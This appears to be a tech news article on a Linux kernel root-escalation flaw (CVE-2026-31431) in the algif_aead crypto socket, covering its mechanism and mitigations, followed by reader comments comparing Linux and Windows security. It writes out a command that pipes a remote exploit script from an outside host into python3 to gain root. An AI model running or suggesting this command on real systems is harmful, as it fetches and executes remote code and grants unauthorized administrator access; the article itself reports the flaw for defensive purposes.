Linux exploit instantly grants administrator access on most distributions since 2017 — cryptography optimization snafu grants root privileges to local users
Sysadmins, patch or tweak your servers immediately.
It is quite an interesting patch week for Linux systems administrators out there. Researchers at Xint Code have discovered a nasty exploit that instantly grants root access to any local unprivileged user, a nightmare scenario for multi-user servers of various types, including web servers, container environments like Kubernetes, CI/CD pipelines, and more.
The CVE-2026-31431 exploit affects pretty much every Linux distro currently in use and has existed since 2017. Although it's not a zero-day and the kernel has already gotten a patch, the short disclosure window gave distro makers relatively little time to react. Affected variants include (but aren't limited to) Ubuntu 24 (version 26 was just released last week), RHEL 10, Suse 16, and Amazon Linux 2023. Even Windows' WSL2 is affected, and all it takes is 732 bytes to do it.
To check that a system is vulnerable, you can just run "curl https://copy.fail/exp | python3 && su" with a standard unprivileged account — though we should note that you're trusting an online script. The source code for the proof-of-concept is available here if you prefer. If your distro doesn't have a patch available yet, you can try one of two mitigation methods.
Article continues belowIf your kernel loads algif_aaed as a module, a simple [ echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf ] will suffice. Some distributions, however, compile that functionality right into the kernel core, including RHEL and WSL2. That means that in those instances, you'll have to resort to disallowing users from opening AF_ALG sockets to begin with, via seccomp profiles, AppArmor, or SELinux.
Although the Xint Code security team didn't provide a rationale for publicly disclosing the vulnerability so early, they did mention that they found it with the help of an AI assistant. Given that the source code for the Linux kernel is by definition public, in theory, any serious attacker would find it just as easily. Perhaps the fast reveal was an unfortunate necessity.
As for the exploit mechanism itself, it's fairly devious. AF_ALG is a socket that an application can use to have data encrypted or decrypted by providing it with the data to be and a tag. To perform the attack, you provide a splice of an executable you have access to as the tag; the most obvious one being "su".
The "algif_aead" kernel function, crucially, has an internal optimization that doesn't make a copy of the data to encrypt and copy back; rather, it chains the tag data directly onto the output buffer by reference instead of copying it. As a coincidence, the "authencesn" encryption algorithm involves writing 4 bytes at a fixed offset in its output buffer. Since the tag you spliced — the page data for "su" — is now part of that output, those bytes will get written directly into the kernel's cached copy of the executable.
Get Tom's Hardware's best news and in-depth reviews, straight to your inbox.
When you call the executable, it'll be joyfully corrupted, granting administrator access. This all happens in memory, too, so there are no detectable disk writes, and the exploit will also get past many security suites.
Follow Tom's Hardware on Google News, or add us as a preferred source, to get our latest news, analysis, & reviews in your feeds.

Bruno Ferreira is a contributing writer for Tom's Hardware. He has decades of experience with PC hardware and assorted sundries, alongside a career as a developer. He's obsessed with detail and has a tendency to ramble on the topics he loves. When not doing that, he's usually playing games, or at live music shows and festivals.
-
PEnns Isn't this the EXACT invincibility the Linux crowd kept bragging to us poor Windows folks since about Linux inception and till now??Reply
Tsk tsk... -
SILVERTHRONE32 Damn. I shut down my Ubuntu nodes as soon as I saw this... Now comes the waiting game to see if Ubuntu 24 patches this in LTS anytime soon.Reply -
BTM18 Reply
Maybe they will more humble from now on? Ya right.PEnns said:Isn't this the EXACT invincibility the Linux crowd kept bragging about to us poor Windows folks about since Linux inception and till now??
Tsk tsk... -
coolitic Reply
To this day, I've never had to run any AV on any Linux machine, and I know of 0 Linux machines, owned by anyone I know, ever actually being exploited by anything. Can't say the same as when I was running Windows though.PEnns said:Isn't this the EXACT invincibility the Linux crowd kept bragging about to us poor Windows folks about since Linux inception and till now??
Tsk tsk...
I don't think anyone has ever claimed that Linux was "invincible". Its relative rarity of exploits is mostly a factor of it being less popular, and its users rarely being tech-illiterate. -
LordVile Reply
If anything Linux isn’t really prepared to deal with malware. The only reason why it’s not rammed with malware is due to no one actually using it and with no bug bounty, forced updates and dedicated security team vulnerabilities will be found, take years to be discovered whilst being exploited and then take forever to push updates out to affected devices.PEnns said:Isn't this the EXACT invincibility the Linux crowd kept bragging about to us poor Windows folks about since Linux inception and till now??
Tsk tsk... -
PEnns Reply
I loved the (unintended) disclaimer: "to this day"! And yet, today it happened!!coolitic said:To this day, I've never had to run any AV on any Linux machine, and I know of 0 Linux machines, owned by anyone I know, ever actually being exploited by anything. Can't say the same as when I was running Windows though.
I don't think anyone has ever claimed that Linux was "invincible". Its relative rarity of exploits is mostly a factor of it being less popular, and its users rarely being tech-illiterate.
OK Linux was claimed to be "extremely safe and invulnerable" instead of "invincible", will that help you??
Just because you had 0 vius issues with Linux, it doesn't mean NO ONE had this luck!
Hey, I have been running Windows since Windows 3.1. And furthermore, I never had a virus issue of any kind and never had a BSOD either.
Does that mean Windows is also totally "safe"?? "To this day," I never had any issues either! But the day "ain't over yet".....😉 -
FoxtrotMichael-1 Reply
Linux isn't prepared to deal with malware due to "no one actually using it"? You do know that almost every server in the world uses Linux right (~80% of web-facing servers and ~90% of cloud infrastructure)? You also do know that most distributions have already pushed kernel updates to fix this CVE right (the actual linux kernel itself was patched 9 days after the initial private disclosure and before the public disclosure)?LordVile said:If anything Linux isn’t really prepared to deal with malware. The only reason why it’s not rammed with malware is due to no one actually using it and with no bug bounty, forced updates and dedicated security team vulnerabilities will be found, take years to be discovered whilst being exploited and then take forever to push updates out to affected devices.
The reality is that nobody cares about your linux desktop and nobody is trying to deploy malware on your linux desktop - they care about using copyfail to gain host root access on a kubernetes cluster through a container. The thing about linux security is that it's a completely different game than Windows malware. With windows, you have to worry about small-timers deploying junk malware to your system that is annoying, with ransomware in the medical industry probably being the worst case scenario. With linux, we worry about entire cloud infrastructure regions going down and millions (billions?) of dollars in damages. So your idea of Windows and linux security is exactly backwards. Linux is absolutely hardened, patched, and updated at a rate that makes Windows look like it's stuck in time. -
timsSOFTWARE Reply
The problem is that, while criminals used to be rare in IT for various reasons, LLMs have lowered the barrier to entry, and significantly reduced the effort required. Maybe they are not even a Linux user, but prompting an abliterated local LLM for exploits.coolitic said:To this day, I've never had to run any AV on any Linux machine, and I know of 0 Linux machines, owned by anyone I know, ever actually being exploited by anything. Can't say the same as when I was running Windows though.
I don't think anyone has ever claimed that Linux was "invincible". Its relative rarity of exploits is mostly a factor of it being less popular, and its users rarely being tech-illiterate.
I don't see any good solutions for it currently either - the old assumptions you could make about safety through taking basic precautions like not installing obviously sketchy software advertised in popups, and avoiding opening email attachments and phishing links, are insufficient now. The bad actors sound the same as everyone else using LLMs to write copy for them. State-funded hacking groups are more active than criminal groups. And the people who are well-meaning but writing software in ignorance of security are almost as bad as the criminals. -
Sovilace I only have 1 user.Reply
Even when I had windows.
Also, windows users shouldn't try to act like they are invincible either. People can hack windows with a pinky finger. They can access your pc through one drive. -
cuvtixo Reply
wow. you're trolling Linux users with that claim? It's hard to believe, and seems likely you simply forgot after all this time. Can we assume you didn't use NT until XP? What exactly do you mean by "user of Windows"? The problem is you get offended by Linux users claims, when you don't have a firm grasp on the systems you yourself have been using. Your argument is about brand loyalty, not security at all. Do you even know what Wannacry was? Come back with a technical observation about security. Or maybe you want to exchange notes on security of my Apple II ProDOS use compared to your Windows 3 experiences? I'll let you babble about cooperative and pre-emptive multitasking, I promise. Or maybe a debate about Superman vs. Goku is more at your level?PEnns said:a user of Windows since Windows 3.1. And furthermore, I never had a virus issue of any kind and never had a BSOD either.